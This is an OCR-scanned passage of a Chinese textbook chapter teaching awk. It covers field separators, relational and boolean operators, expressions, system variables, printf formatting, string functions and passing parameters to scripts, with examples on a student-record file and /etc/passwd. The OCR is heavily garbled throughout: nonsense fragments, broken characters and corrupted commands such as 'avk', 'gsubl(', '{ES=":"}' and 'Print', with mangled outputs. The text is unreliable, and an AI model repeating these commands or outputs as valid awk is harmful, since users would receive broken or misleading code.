maw 

seu 

ne 

[root@zawu globus]# 


BEGIN 字段 中 定义 one 和 two 两 个 变量 3 


























此 ， 该 命令 打印 sturecord 的 第 3 个 域 。 
列 4-37 和 例 4-38 的 分 隔 符 都 是 空格 键 ， 这 是 awk 的 默认 设置 ， 
空格 键 来 处 理 ， 我 们 可 以 使 用 awk 的 -F 选项 来 改变 分 隔 符 ， 例 4-39 




















{print $(one+two) } 


赋值 ,-4.3.2 节 介 绍 过 BEGIN 字段 中 的 语句 是 
在 遍历 输入 文件 文本 之 前 执行 的 ，print 语句 后 跟 $(one+two) 变 量 运 算 表 达 式 ，one+two=3， 

















sturecord 








Tab 键 被 看 做 是 连续 的 
使 用 - 选项 将 分 隔 符 改 


























为 Tab 键 ,并 打印 第 3 个 域 , 可 以 看 到 , 分隔 符 为 Tab 键 时 的 第 3 个 域 是 | 
文件 中 姓 和 名 之 间 是 用 空格 分 隔 的 ， 此 时 被 认为 是 一 个 域 。 

例 4-39: -PE 选项 改变 分 隅 符 

EO a el a NE 用人 避 于 
O25=354210n0 

025-83466534 

025-83494883 

025 336020010 

[root@zawu globus]# 











sturecord 





电话 号 人 码 , 因为 sturecord 




















值得 注意 的 是 ， 大 写 选项 是 改变 分 隔 符 的 ， 小 写 了 选项 则 表示 





调用 awk 脚本 。 











尽管 上 选项 可 以 改变 分 隔 符 ， 


















































Eniao nue 025 83340 
Zhang Ju,nju, 025-83466534 
Wang Bin,seu,025-83494883 
palo Dal ool ep 0 onl 


sturecord 文件 中 的 记录 包含 三 个 域 : 姓名 、 
































但 是 ，awk 还 提供 了 另 一 种 更 方便 实用 的 方法 来 改变 分 隔 
符 ， 这 就 是 使 用 awk 环境 变量 FS ， 我 们 可 以 通过 在 BEGIN 字段 中 设置 FS 的 值 来 改变 分 隔 
符 。 下 面 举 个 例子 说 明 FS 的 用 法 ， 我 们 将 sturecord 改 为 用 逗号 来 分 隔 ， 内 容 如 下 : 








nl 

















可 








学 校 和 电话 号 码 ， 例 4-40 演示 了 如 何 使 用 
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打 印 的 域 号 ? 第 
名 被 看 做 是 一 个 域 ， 
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FS 变量 改变 分 隔 符 : 
# 例 4-40: 使 月 











有 FS 变量 改变 分 隔 符 


# 第 1 条 命令 : 打印 全 部 域 


[root@zawu globus]# awk 'BEGIN {FS=","} 
Ur sieve ts (0) 


83481010 


Zhang Ju,nju, 025-83466534 
Wang Bin,seu,025-83494883 
lu Bs 025 26 


# 第 2 条 命令 : 打印 第 





名 1 域 和 第 3 域 


{print $0}' 


seEureecord 


人 cuaonsl armk "Enem Tes, Ta SI sma 


ES 





010 


Zhang Ju 025-83466534 
Wancm plirn 0 83494883 
Zuln 025 83680010 
[root@zawu globus]# 


aad el tm print 语句 设置 需 








1 条 命令 














名 2 条 命令 打印 1 和 3 号 域 ， 从 结果 中 可 以 看 出 ， 
ey 


打印 全 部 域 ， 
域 号 是 1， 电 话 





















































要 


姓 


对 于 不 同 的 输入 文件 ， 需 要 根据 实际 情况 设置 相应 的 分 隔 符 ， 如 Linux 系统 /etc/passwd 











例 4-41: 不 同 的 场 


一 


EREes 
2 ES VE” 


一 








WzaNtNced 


例 4-41 中 ， 





键 作 为 分 陋 符 ， 当 解析 下 面 这 条 示 
解析 为 三 个 域 : 


4.4.3 ”关系 和 布尔 运算 符 
awk 定义 了 一 组 关系 运 





WzZa、 


分 隔 符 对 同一 条 记录 解析 出 不 所 
下 面 是 对 Fs 变量 的 两 种 赋值 


下 面 是 一 条 示例 性 记录 




















第 (1) 种 FS 赋值 将 














空域 、cq， 第 





表 4-5 awk 关系 运算 符 及 其 意义 





网 性 记录 时 ， 两 利 



























































[为 两 个 域 : wza 和 cq。 





算 符 用 于 awk 模式 匹配 ， 表 4-5 列 出 了 关系 运算 符 及 其 意义 。 


文件 是 以 冒号 为 分 隔 符 。 当 然 ， 我 们 也 可 以 使 用 正则 表达 式 将 分 隅 符 设 置 为 多 个 字符 ， 请 看 
下 面 的 例 4-41: 


个 Tab 键 作 为 分 隔 符 ， 第 〈2) 种 以 一 个 或 多 个 Tab 





赋值 将 产 人 第 (1) 种 将 其 





























匹配 正则 表达 式 














不 匹配 正则 表达 式 
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iT 











下 面 举 一 组 例子 说 明 awk 关系 运算 符 的 用 法 ， 很 多 例子 使 用 Linux 系统 /etc/passwd 文 从 
作为 输入 文件 ，/etc/passwd 文件 记录 了 Linux 系统 用 户 的 关键 信息 ， 系 统 的 每 一 个 合法 用 户 


账号 对 应 于 该 文件 中 的 一 行 记录 。 这 行 记录 定义 了 每 个 用 户 账号 的 属性 。 下 面 是 一 个 passwd 
文件 的 部 分 摘录 : 


Hoo Ea 0 0 roo: oom 
nl Sle le er 


















































daemon:x:2:2:daemon:/sbin:/sbin/nologin 
adm:x:3:4:adm:/var/adm:/sbin/nologin 


在 该 文件 中 ， 每 一 行 用 户 记录 的 各 个 域 用 冒号 分 隔 ， 分 别 定 义 了 用 户 的 各 方面 属性 。 各 
个 字段 的 顺序 和 含义 如 下 : 注册 名 : 口令 : 用 户 标识 号 : 组 标识 号 : 用 户 名 : 用 户主 目录 : 
命令 解释 程序 。 

例 4-42 使 用 匹配 正则 表达 式 ~ 符 号 ， 例 中 第 1 条 命令 打印 /etc/passwd 文件 中 第 1 个 域 匹 
配 root 关键 字 的 记录 ， 结 果 为 root 用 户 的 记录 。 第 2 条 命令 打印 /etc/passwd 文件 中 全 部 域 匹 
配 root 关键 字 的 记录 ， 结 果 中 operator 用 户 的 第 6 域 匹配 root 而 被 打印 。 第 3 条 命令 打印 
/etc/passwd 文件 中 所 有 域 不 匹配 nologin 关键 字 的 记录 。 值 得 注意 的 是 , 例 中 的 三 条 命令 都 在 
BEGIN 字段 中 设置 分 隔 符 为 冒号 ， 并 于 输入 文件 不 在 当前 工作 目录 ， 因 此 ， 采 用 绝对 路 
径 的 方法 指定 输入 文件 位 置 。 
例 4-42: 使 用 匹配 正则 表达 式 ~ 符 号 

















0 



































7 


































































































































































































第 1 条 命令 : 第 1 域 匹 配 root 
root@zawu globus]# awk 'BEGIN {FS=":"} $1~/root/' /etc/passwd 


ED 
第 2 条 命令 : 全 部 域 匹 配 root 
root@zawu globus]# awk 'BEGIN {FS=":"} $0~/root/' /etc/passwd 
ED 

亲本 人 

第 3 条 命令 : 全 部 域 不 匹配 nologin 

root@zawu globus]# awk 'BEGIN {FS=":"} $0!~/nologin/' /etc/passwd 
moO :00 Oo: om 

Se (0S ne Sl Se 
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown 

nate :e700 a /sl Sl/liate 

loBUs :00 O00 loBUs /homne/olobus /bonneash 

[root@zawu globus]# 
awk 在 进行 模式 匹配 时 , 常常 使 用 到 条 件 语 句 ,awk 条 件 语句 与 C 语言 类 似 , 有 让 语句 、 


[人 


if/else 语句 和 if/else else 语句 三 种 ， 下 面 的 例 4-43 的 awk 命令 利用 站 语句 匹配 第 3 域 小 于 第 
4 域 的 记录 。 


# 例 4-43: awk 中 的 if£ 语句 

[root@zawu globus]# awk "BEGIN {ES=":"} {if'($3<$4) Print $0}" /etc/passwd 
adm:x:3:4:adm:/var/adm:/sbin/nologin 

Sl sl 
人 

Ue. 0 1 STAGE 可 下 
games:x:12:100:games:/usr/games:/sbin/nologin 

Gopher :S30 onern /va /ome sn/ no 

EO Se ae ee sl no 

[root@zawu globus]# 
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例 4-43 中 的 命 邻 是 打印 满足 让 条 件 的 所 有 记录 ， 让 后 面条 件 为 $3<$4， 表 示 第 3 域 值 小 
于 第 4 域 值 ， 请 注意 ，f 条 件 需 要 用 圆 括号 括 起 来 。<=、>、>=、 一 等 儿 个 关系 运算 符 较 为 
简单 ， 用 法 类 似 于 例 4-43 中 的 “<) 运算 符 ， 在 此 不 再 举例 说 明 。 

为 进行 多 条 件 模 式 匹 配 ，awk 定义 了 三 个 布尔 运算 符 表示 多 条 件 之 间 的 关系 ， 表 4-6 列 
出 了 布尔 运算 符 及 其 意义 ， 可 以 看 出 ，awk 布尔 运算 符 与 C 语言 的 布尔 运算 符 是 一 样 的 。 

表 4-6 awk 布尔 运算 符 及 其 意义 




















下 面 的 例 4-44 说 明了 站 语 句 的 多 条 件 匹 配 , 例 





足 条 件 $3==10 或 $4= 














中 第 1 条 i 
=10 的 记录 , 即 第 3 域 等 于 10 或 第 

































































看 句 在 /etc/passwd 文件 
4 域 等 于 10, 中 间 用 逻辑 或 符 


中 查找 满 





叫 . 大 


号 连 





接 。 

















































































































































































































































































































利用 二 符号 进行 的 匹配 可 称 为 精确 匹配 ， 它 匹配 是 域 的 值 等 于 10 的 记录 ， 结 果 显 示 了 第 3 
域 为 10 的 一 条 记录 。 第 2 条 命令 仅 将 第 1 条 命 = 符号 改 为 了 ~ 符号 ， 表 示 模 糊 匹 配 ， 它 
表示 查找 域 的 值 包含 10 个 字符 的 记录 ， 结 果 显 示 了 三 条 记录 ， 第 2、3 条 记录 的 第 4 域 值 分 
别 为 100 和 510， 它 们 都 包含 10 个 字符 ， 因 而 满足 匹配 条 件 。 

例 4-44: if 语句 的 多 条 件 匹 配 

第 1 条 命令 : 多 条 件 精确 匹配 

root@zawu globus avk “EECLIN TESg=" YY) Jif( 32==10||15=10) BElNE dO! /ELD/aserad 

uuepe se. LO A ue ve oo ue so ol 

第 2 条 命令 : 多 条 件 模糊 匹配 

root@zawu globus awk ‘BEGIN {FS=":"} {if($3~10||$4~10) print $0}" /ete/passwd 

Lue LO: A ee var /oo ee sl 

games:x:12:100:games:/usr/games:/sbin/nologin 

root@zawu globus 

“逻辑 和 “逻辑 非 ” 的 用 法 与 “逻辑 或 ”相似 ， 我们 不 再 专门 举例 说 明 ， 在 下 文 的 一 
些 例子 中 将 会 涉及 这 两 个 符号 的 用 法 。 
4.4.4 表达 式 

与 其 他 编程 语言 一 样 ，awk 表达 式 用 于 存储 、 操 作 和 获取 数据 ， 一 个 awk 表达 式 可 由 数 
值 、 字 符 和 常量、 变量、 操作 符 、 函 数 和 正则 表达 式 自 由 组 合 而 成 。 

变量 是 一 个 值 的 标识 符 ， 定 义 awk 变量 非常 方便 ， 只 需 定义 一 个 变量 名 并 将 值 赋 给 它 即 
可 。 变 量 名 只 能 包含 字母 、 数 字 和 下 画 线 ， 而 且 不 能 以 数字 开头 ， 如 3xyz 这 样 的 变量 名 是 非 
法 的 。awk 变量 名 是 区 分 大 小 写 的 ，xyz 和 XYZ 表示 了 两 个 不 同 的 变量 。 定 义 awk 变量 无 须 
声明 变量 类 型 ， 每 个 变量 有 两 种 类 型 的 值 : 字符 串 值 和 数值 ，awk 根据 表达 式 上 下 文 来 确定 
使 用 哪个 值 ， 变 量 的 默认 数值 为 0、 默认 字符 串 值 为 空 

x=1 

y="Good™ 

z="Very" “Good™" 

awk 变量 的 定义 和 赋值 如 上 面 三 条 语句 所 示 ，= 是 赋值 符 ， 第 1 条 语句 将 变量 x 赋 为 1， 
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第 2 条 语句 将 y 赋 为 字符 串 Good, 第 3 条 语句 用 空格 分 隔 两 个 字符 串 , 可 将 z 赋 为 Very Good。 
表达 式 可 进行 变量 和 数字 之 间 的 算术 操作 ， 如 加 、 减 、 乘 、 除 、 乘 方 等 ，awk 算术 运算 
符 如 表 4-7 所 示 。 


表 4-7 awk 算 木 运算 符 及 其 意义 












































x 值 之 前 ，x 变量 加 1 

















x 值 之 后 ，x 变量 加 1 























接 下 来 , 我 们 举 一 个 统计 input 文件 空白 行 的 例子 来 说 明 表 达 式 的 用 法 。 如 例 4-45 所 示 ， 
例 中 命令 表示 一 旦 匹配 ， 束 执行 表达 式 x+=1， 即 x=x+1， 然 后 打印 x+=1 的 返回 值 ， 结 果 中 
空白 行 标号 从 1 开始 到 5 结束 。 

# 例 4-45: 统计 input 文件 中 的 空白 行 

[root@zawu globus]# awk '/^$/{print x+=1}' input #^$ 匹 配 空白 行 
























































Os ON 


[root@zawu globus]# 

熟悉 C 语言 的 读者 应 该 已 经 了 解 ++x 和 x++ 的 区 别 〈--x 和 x-- 与 之 类 似 )。 下 面 我 们 举 一 
个 简单 例子 说 明 ++x 和 x++ 的 区 别 ， 为 尚 不 了 解 此 用 法 的 读者 提供 参考 。 如 例 4-46 所 示 ， 两 
条 命令 仍然 是 统计 input 文件 的 空白 行 ， 第 1 条 命令 使 用 x++， 即 返回 x 值 之 后 ，x 变量 增加 
1，x 变量 初 值 默认 为 0， 结果 中 空白 行 标 号 从 0 开始 到 4 结束 ; 第 1 条 命令 使 用 ++x， 即 x 
变量 增加 1， 再 返回 x 值 。 因 此 ， 结 果 中 空白 行 标号 从 1 开始 到 5 结束 。 


# 例 4-46: ++x 和 x++ 的 区 别 
[root@zawu globus]# awk '/“^$/{print x++}' input 



































Ry ET 











































































































1 
2 
3 
4 
liad oa em i 
由 
区 
3 
4 
5 
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root@zawu globus]# 
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让 
4 


再 举 一 个 计算 平均 值 的 例子 ， 我们 在 sturecord 文件 中 每 个 学 生 记 录 后 加 入 5 个 域 , 表示 
学 生 5 门 学 科 的 考试 成 绩 ，sturecord 内 容 如 下 : 

Li Hao ne Oo S30 3 2 /948 

wae na 0 ea 0 90 7 oOo0nes 

Wang Bin,seu,025-83494883,84,88,80,92,84 

ira 0 OO 0 

接着 ， 我 们 写 一 个 名 为 scr2.awk 的 脚本 用 于 计算 sturecord 文件 中 每 个 学 生 的 平均 成 绩 ， 
并 打印 出 来 ， 脚 本 内 容 如 下 : 

# 例 4-47: scr2 .awk 脚本 演示 如 何 计算 sturecord 文件 中 的 平均 值 

#!/bin/awk -f 

BEGIN {FS=","} 

{total=$4+$5+$6+$7+$8 

eva=Eo ees 

DE 


脚本 定义 了 两 个 变量 total 和 avg，total 是 每 条 记录 5 门 成 绩 的 和 、avg 是 5 门 成 绩 的 平 
均值 ， 例 4-47 给 出 了 scr2.awk 脚本 的 执行 结果 ， 输 出 学 生 姓 名 及 其 平均 成 绩 。 
# 例 4-47 scr2.awk 脚本 的 执行 结果 















































N 






































[root@zawu globus]# chmod utx scr2.awk # 给 scr2 .awk 赋 可 执行 权限 
[root@zawu globus]# ./scr2.awk sturecord # 执 行 scr2 .awk 脚本 
TL # 输 出 学 生 姓名 及 其 平均 成 绩 

















lianen gee 

Wanem eine eo 

2hu Lin 84 
[root@zawu globus]# 


4.4.5 ”系统 变量 

awk 定义 了 很 多 内 建 变量 用 于 设置 环境 信息 ， 我 们 称 它们 为 系统 变量 ， 这 些 系统 变量 可 
分 为 两 种 : 第 1 种 用 于 改变 awk 的 默认 值 ， 如 域 分 隔 符 ; 第 2 种 用 于 定义 系统 值 ， 在 处 理 文 
本 时 可 以 读 取 这 些 系统 值 ， 如 记录 中 的 域 数 量 、 当 前 记录 数 、 当 前 文件 名 等 ，awk 动态 改变 
第 2 种 系统 变量 的 值 。 表 4-8 列 出 了 常见 的 awk 环境 变量 及 其 意义 。 


表 4-8 awk 环境 变量 及 其 意义 













































































当前 记录 的 第 n 个 域 ， 域 间 
记录 的 所 有 域 


RE $ 行 参数 的 数量 























ARGIND HY 令 行 中 当前 文件 的 位 置 ( 以 0 开始 标号 ) 


ARGV 证 令 行 参数 的 数组 











CONVFMT 数字 转换 格式 
ENVIRON 环境 变量 关联 数组 


ERRNO 最 后 一 个 系统 错误 的 描述 

















FIELDWIDTHS 字段 宽度 列表 ， 以 空格 键 分 隔 





FILENAME 当前 文件 名 
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浏览 文件 的 记录 数 


字段 分 隔 符 ， 默 认 是 空格 键 








IGNORECASE j 尔 变量 ， 如 果 为 真 ， 则 进行 忽略 大 小 写 的 匹 








NF 当前 记录 中 的 域 数 量 


NR 当前 记录 数 








OFMT 数字 的 输出 格式 





OFS 笨 出 域 分 隔 符 ， 








ORS 记录 分 隔 符 ， 默 认 是 换行 符 























RLENGTH 镜 数 所 匹配 的 字符 串 长 度 








RS 记录 分 隅 符 ， 默 i 























RSTART match 函数 所 匹配 的 字符 串 的 第 1 个 位 置 




















SUBSEP 数组 下 标 分 隔 符 ， 默 认 值 是 \034 




















首先 看 到 下 面 的 例 4-48, 例 中 命令 涉及 FS、NF、NR 和 FILENAME 四 个 系统 变量 , BEGIN 
字段 利用 FS 预 设 域 分 隔 符 为 “,” 中 间 字 段 为 一 条 print， 依 次 打印 NF、NR 和 $0，NF 为 记 
录 的 域 数 量 ， 结 果 显 示 为 8， 说 明 sturecord 的 每 条 记录 都 有 8 个 域 ，NR 显示 当前 的 记录 数 ， 
该 值 根据 读 取 输入 文件 的 进度 而 变化 ， 读 取 第 1 条 记录 时 ，NR=1， 读 到 文件 末尾 时 ，NR 为 
该 文件 所 包含 的 记录 数 。 因 此 , 结果 中 NR 学 段 依次 为 1 一 4, $0 表示 打印 记录 的 所 有 域 . END 
字段 打印 FILENAME，FILENAME 保存 了 当前 的 输入 文件 名 ， 显 然 为 sturecord。 


# 例 4-48: FS、NF、NR 和 FILENAME 的 用 法 
[root@zawu globus|# awk “BEGIN {ES=","}) {Brint NE, NR, $0} END {Print FILENAME}' Sturecord 
SET 

2 eme J nt 5 75 90033 

8 3 Wang Bin,seu,025-83494883,84,88,80,92,84 

8 A400 na 0 00 0 OG 

sturecord 

[root@zawu globus]# 


本 节 不 准备 一 一 举例 说 明 每 个 系统 变量 的 用 法 ， 因 为 下 面 的 例子 会 涉及 表 4-8 中 大 部 分 
系统 变量 的 用 法 ， 我 们 将 随 具 体例 子 对 系统 变量 加 以 解释 。 


4.4.6 格式 化 输出 


前 面 几 节 的 例子 只 涉及 awk 如 何 对 输入 文件 进行 处 理 ， 对 于 输出 的 格式 并 未 规定 ， 原 因 
在 于 print 语句 只 提供 了 最 基本 的 输出 格式 。 而 awk 的 一 大 主要 功能 是 产生 报表 ， 报 表 就 要 
求 按照 预定 的 格式 输出 ，awk 借鉴 C 语言 的 语法 ， 定 义 了 printf 输出 语句 ， 它 可 以 规定 输出 
的 格式 。printf 的 基本 语法 如 下 : 

printf (格式 控制 符 ,参数 ) 

printf 语句 包含 两 部 分 : 第 一 部 分 是 格式 控制 符 ， 都 以 % 符 号 开始 ， 用 以 描述 格式 规范 ; 
第 二 部 分 是 参数 列表 ， 比 如 变量 名 列表 ， 与 格式 控制 符 相 对 应 ， 是 输出 的 对 象 。 我 们 将 格式 
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空 制 符 分 为 awk 修饰 符 和 格式 符 两 种 ， 分 别 如 表 4-9 和 表 4-10 所 示 。 
表 4-9 printf 修饰 符 及 其 意义 


修 饰 符 








左 对 齐 
域 的 步 长 
小 数 点 右边 的 位 数 











表 4-10 printf 格式 符 及 其 意义 





ASCII 字符 
整 型 数 
浮 点 数 ， 科 学 记 数 法 























十 六 进 制 数 


























例 4-49 说 明了 printf 的 基本 用 法 ， 其 中 包含 子 四 种 printf 格式 符 。 例 4-49 中 的 第 1 条 命 
令 是 从 域 号 获取 值 ，$2 号 域 与 %s 对 应 ， 为 字符 串 ; $8 号 域 与 %d 对 应 ， 为 整数 值 ， 两 个 域 
之 间 用 Tab 键 隔 开 〈Y 表示 Tab 键 )， 每 输出 两 个 域 换 行 (\n 表示 换行 )。 第 2 条 命令 表示 输 
出 ASCII 字符 表 中 标号 为 65 的 值 ，%e 完成 数值 到 ASCII 字符 的 转换 。 第 3 条 命令 表示 以 浮 
点 数 的 格式 输出 2009， 结 果 精 确 到 小 数 点 后 六 位 。 
例 4-49: printf 的 基本 用 法 


第 1 条 命令 : 参数 是 变量 列表 
ne tse we ne (ed 


































































































njue 88 
mu 86 
Se 84 
ee WG 


第 2 条 命令 : 转换 为 ASCII 字符 
root@zawu globus]# awk 'BEGIN {printf("%$c\n",65)}'"' 
A 





第 3 条 命令 : 转换 为 浮 点 数 

rootzawn globumsl|t aw BEGIN (Brintf(nSeENn,, 2200) 
200T0000000 
root@zawu globus 


# 
接着 ， 给 出 printf 修饰 符 的 例子 ， 如 例 4-50 所 示 ， 例 中 第 1 条 命令 表示 以 字符 串 的 格式 
输出 sturecord 的 第 1 和 3 号 域 ， 并 对 第 1 个 %s 进行 了 修饰 ，-15 表示 该 字符 串 长 度 控 制 为 
15 位 ， 并 且 左 对 齐 ， 知 字符 串 不 足 15 位 ， 则 用 空格 补 全 ;如 果 我 们 要 在 输出 的 域 上 加 解释 
语言 ， 可 以 在 BEGIN 字段 中 添加 相应 的 输出 注释 ， 如 例 4-50 的 第 2 条 命令 所 示 。 
# 例 4-50: printf 修饰 符 - 和 width 的 用 法 


[Ecotezawn oloous]Ht ew enerN (Es "(eaEe( vs IosS\ESs rn on.03) stucco 
Tee 025=8348T010 
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Zhang Ju 025=83466534 
Wang Bin 025 83494883 
padi nati 025=830800L0 


[root@zawu globus]# awk 'BEGIN {FS=",";print "Name\t\tPhonenumber"} 


et (SN 


Em ee # 与 上 一 行 是 一 条 命令 
Name Phonenumber 
Li Hao 025 SUE 
Zhang Ju 025-83466534 
Wang Bin 025-83494883 
vole Ei 025 233620010 


[root@zawu globus]# 

printf 修饰 符 .prec 表示 输出 小 数 点 后 的 位 数 ， 下面 的 例 4-51 说 明了 其 用 法 , 例 4-51 中 第 
1 条 命令 的 %10.3 表示 该 浮 点 数 长 度 控制 在 10 位、 小 数 点 后 保留 3 位 , 结果 显示 将 2009.1012 
输出 为 2009.101,， 且 为 右 对 齐 (printf 的 默认 对 齐 方式 )。 当然, .prec 也 可 单独 使 用 , 如 例 4-51 
的 第 2 条 命令 所 示 。 
例 4-51: printf 修饰 符 .prec 的 用 法 
nootzam i lonvs law BeeGlNe re 0Se 2200 on 
200e 0 
root@zawu globus] 


2 
root@zawu globus] 


由 例 4-50 和 例 4-51， 我 们 可 以 总 结 出 printf 修饰 符 的 一 般 形式 为 : 
s-width.prec 格式 控制 符 
4.4.7” 内置 字符 串 事 数 
awk 提供 了 强大 的 内 置 字 符 串 函数 ,用 于 实现 文本 的 字符 串 奉 换 、 
表 4-11 列 出 了 awk 的 内 置 字符 串 函 数 。 


表 4-11 













































































Se EN Mane tie (We ee Wn Oe NO 























查找 以 及 分 隔 等 功能 。 

















awk 字符 串 函 数 及 其 意义 














gsub(r,s) 


在 输入 文件 中 
在 t 














gsub(r,s,t) 








index(s,t) 返 巴 


字符 串 第 一 个 + 的 位 置 























length(s) 返回 





match(s,t) 测试 s 是 否 包含 匹配 t 的 5 
在 t 上 将 rf 分 成 序列 s 
岗 的 + 蔡 换 为 s 

串 了 中 从 s 开始 的 后 级 部 分 


- 始 长 度 为 的 后 缀 部 分 





符 





split(r,s,t) 











sub(r,s,t) 











substr(r,s) 





























substr(r,s,t) 


PhP 从 s 














gsub 函数 执行 字符 串 蔡 换 功 能 ， 它 将 第 一 个 字符 串 替 换 为 第 二 个 字符 串 。gsub 函数 有 两 
种 形式 ， 第 一 种 形式 作用 于 全 部 域 ， 即 $0， 第 二 种 形式 作用 于 域 t。 例 4-52 演示 了 gsub 函数 
的 用 法 ， 例 中 第 1 条 命令 将 /etc/passwd 文件 的 第 1 域 上 的 root 字符 串 蔡 换 为 gridsphere 字符 
串 ，BEGJIN 字段 指定 域 分 隔 符 和 输出 的 域 分 隔 符 ; 例 中 第 2 条 命令 将 /etc/passwd 文件 全 部 域 
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2 Hr 曲 


上 的 root 字符 是 
域 上 的 root 字符 串 。 
例 4-52: gsub 函数 的 用 法 
第 1 条 命令 : 替换 第 1 域 上 的 root 字符 串 








Ud 

















$0}' /etc/passwd 
gridsphere:x:0:0:root:/root:/bin/pbash 
第 2 条 命令 : 奉 换 全 部 域 上 的 root 字符 串 














/etc/passwd 
gridsphere:x:0:0:gridsphere:/gridsphere:/bin/bash 
operacore. MO operator Norilsonere. so nel 
[root@zawu globus]# 


例 4-53 演示 了 index 和 length 函数 的 用 法 ，index 返回 第 二 个 字符 串 在 第 一 个 字符 串 出 














蔡 换 为 gridsphere 字符 串 ， 结 果 显 示 替 换 了 两 行 ， 第 2 个 结果 替换 的 是 第 6 


root@zawu globus]# awk 'BEGIN {FS=":";OFS=":"} gsubl(/root/,"gridsphere",$1) {print 


on dnl a Taenv = OS ons 












































现 的 首位 置 , 例 4-53 中 ph 在 gridsphere 中 的 第 6 位 开始 出 现 。length 返 臣 




















gridsphere 占 了 10 位 。 

# 例 4-53: index 和 Length 函数 的 用 法 

[root@zawu globus]# awk "BEGIN {print index("gridsphere", "ph")}! 

6 

[root@zawu globus]# awk 'BEGIN {print length ("gridsphere"™")}' 

1@ 

[root@zawu globus]# 

match(s.b 测 试 s 是 否 包 含 匹 配 t 的 字符 串 ，t 可 以 是 一 个 正则 表达 式 ， 
匹配 t 的 首位 置 ， 若 不 成 功 ， 则 返回 0。 例 4-54 演示 了 match 函数 的 用 法 
在 gridsphere 字符 串 中 匹配 D, awk 的 默认 状态 是 区 分 大 小 写 的 。 因此 , 匹 















































字符 串 的 长 度 ， 如 





index 函数 





length 函数 














I 





若 逻 配 成 功 ， 返 
， 例 中 第 1 条 命令 
配 不 成 功 , 返回 0。 





























例 中 第 2 条 命令 将 系统 变量 IGNORECASE 设 为 1， 表示 awk 不 分 大 小 写 
返回 值 为 d 在 gridsphere 中 的 位 置 ， 为 4。 

例 4-54: match 函数 的 用 法 

第 1 条 命令 : 区 分 大 小 写 匹 配 

root@zawu globus]# awk 'BEGIN {print match("gridsphere"y VD/) } 









































0 





第 2 条 命令 : IGNORECASE 变量 为 1 使 匹配 忽略 大 小 写 








4 
root@zawu globus]# 


sub(r,s,t) 将 t 中 第 1 次 出 现 的 r 玲 换 为 s, 了 可 以 为 正则 表达 式 , 注意 ， 




















匹配 ， 匹 配 成 功 ， 


root@zawu globus]# awk 'BEGIN {IGNORECASE=1;print match("gridsphere"y VD/) 


sub 函数 只 替换 模 


式 出 现 的 第 1 个 位 置 。 例 4-55 演示 了 sub 函数 的 用 法 ， 例 中 第 1 条 命令 先 定义 str 变量 ， 赋 
值 为 multiprocessor programming， 然 后 用 sub 函数 将 pro 改 成 大 写 的 PRO，str 有 两 个 pro， 


















































结果 显示 只 有 第 1 个 pro 改 成 了 大 写 PRO; 第 2 条 命令 将 sturecord 文件 












































为 了 99。 


# 例 4-55: sub 函数 的 用 法 




















Pp 第 1 号 域 与 Li 匹 


配 记 录 中 的 10 字符 改 成 99 字符 ， 结 果 显 示 第 1 条 记录 电话 号 码 83481010 的 第 1 个 10 被 改 


[root@zawu globus]# awk 'BEGIN {str="multiprocessor programming"; sub (/pro/, "PRO", str); 


ee (We nn eee hy 
ml tLeROcessor erodeammire 
[root@zawu globus]# awk 'BEGIN {FS=","} {$1~Li sub(/10/,"99",$0);pr 
me nna 0 2 















































# 与 上 一 行 是 一 条 命令 


int $0}' sturecord 
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区 6 

Wang Bin,seu,025-83494883,84,88,80,92,84 

wa lm evo O20 2 7 E75 

root@zawu globus]# 

substr 返回 字符 串 的 指定 后 级 , 提供 了 两 种 形式 , 例 4-56 给 出 这 两 种 形式 substr 的 用 法 ， 
例 中 命令 同样 先 定义 str 变量 ， 第 1 条 命令 返回 str 从 第 6 个 字符 开始 的 后 缀 部分， 第 2 条 命 
令 返 回 str 从 第 6 个 字符 开始 长 度 为 9 的 后 级 部 分 。 

例 4-56: substr 函数 的 用 法 

第 1 条 命令 : 返回 str 从 第 6 个 字符 开始 的 后 级 部 分 

root@zawu globus]# awk 'BEGIN {str="multiprocessor programming";print substr (str,6)}" 
processor programming 
第 2 条 命令 : 返回 str 从 第 6 个 字符 开始 长 度 为 9 的 后 级 部 分 

root@zawu globus]# awk 'BEGIN {str="multiprocessor programming";print substr (str,6,9)} 
processor 
























































root@zawu globus]# 


split 函数 在 此 不 作 介绍 ， 我 们 将 在 4.4.10 古 结合 awk 数组 进行 介绍 。 


4.4.8 向 awk 脚本 传递 参数 


awk 脚本 内 的 变量 可 以 在 命令 行 中 进行 赋值 ， 实 现 向 awk 脚本 传递 参数 ， 变 量 赋值 放 在 
脚本 之 后 、 输 入 文件 之 前 ， 格 式 为 : 

awk 脚本 parameter=value 输入 文件 

awk 所 传递 的 参数 可 以 是 日 定义 的 变量 ,也 可 以 是 系统 变量 。 例 4-57 给 出 了 一 个 向 awk 
脚本 传递 参数 的 例子 ，passawk 脚本 利用 一 个 判断 条 件 NF!=MAX， 表 示 记 录 的 域 数量 是 否 
等 于 MAX 变量 , 若 不 等 于 ， 则 输出 包含 NR 和 MAX 两 个 变量 的 文本 行 ，pass.awk 脚本 内 容 
如 下 : 































































































例 4-57: pass .awk 脚本 判断 NF 是 否 等 于 MAX 变量 

1/bin/awk -=£ 

NE !=MAX 

EngnnenneNR OoeS no na MAX fi Lids) 

列 4-57 给 出 了 pass.awk 脚本 的 执行 结果 , 并 在 输入 文件 之 前 加 上 两 条 赋值 语句 ， 分 别 对 
MAX 和 FS 变量 赋值 ， 语 名 之 间 用 空格 分 隔 开 ， 需 要 注意 的 是 ,“=” 符 号 两 端 不 能 有 空格 ， 
由 于 sturecord 有 8 个 域 ， 因 此 ， 在 每 条 记录 下 方 都 输出 pass.awk 脚本 中 的 语句 。 

例 4-57 pass.awk 脚本 的 执行 结果 
root@zawu globus]# chmod u+x Pass .awk 

root@zawu globus]# ./pass.awk MAX=3 FS="," sturecord 
Beiacop nien0 Do Aan 2 9 0138 

me ldoesnee nv eS Fs 

wenm en nL 0 00 

Trenlinmne 2 does nocnave SFilds 

Wang Bin,seu,025 83494883.84"88,80,.92784 

The line 3 does not have 3 filds 

la a 0 ee yee VS 

The line 4 does not have 3 filds 

root@zawu globus]# 


再 看 下 面 的 例 4-58， 例 中 命令 输出 sturecord 的 所 有 记录 ， 每 条 记录 前 加 上 了 其 行 号 〈 输 
出 NR 变量 值 )， 然 后 重新 定义 OFS 的 值 ， 改 变 输出 域 的 分 隔 符 ， 即 NR 和 $0 之 间 用 OFS 定 
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义 的 值 分 隔 。 


段 语 名 访问。 换 句 话 说， 直到 输入 文件 的 第 1 行 被 读 取 时 ， 命 令 行 参数 方才 生效 。 原 因 在 于 ， 




















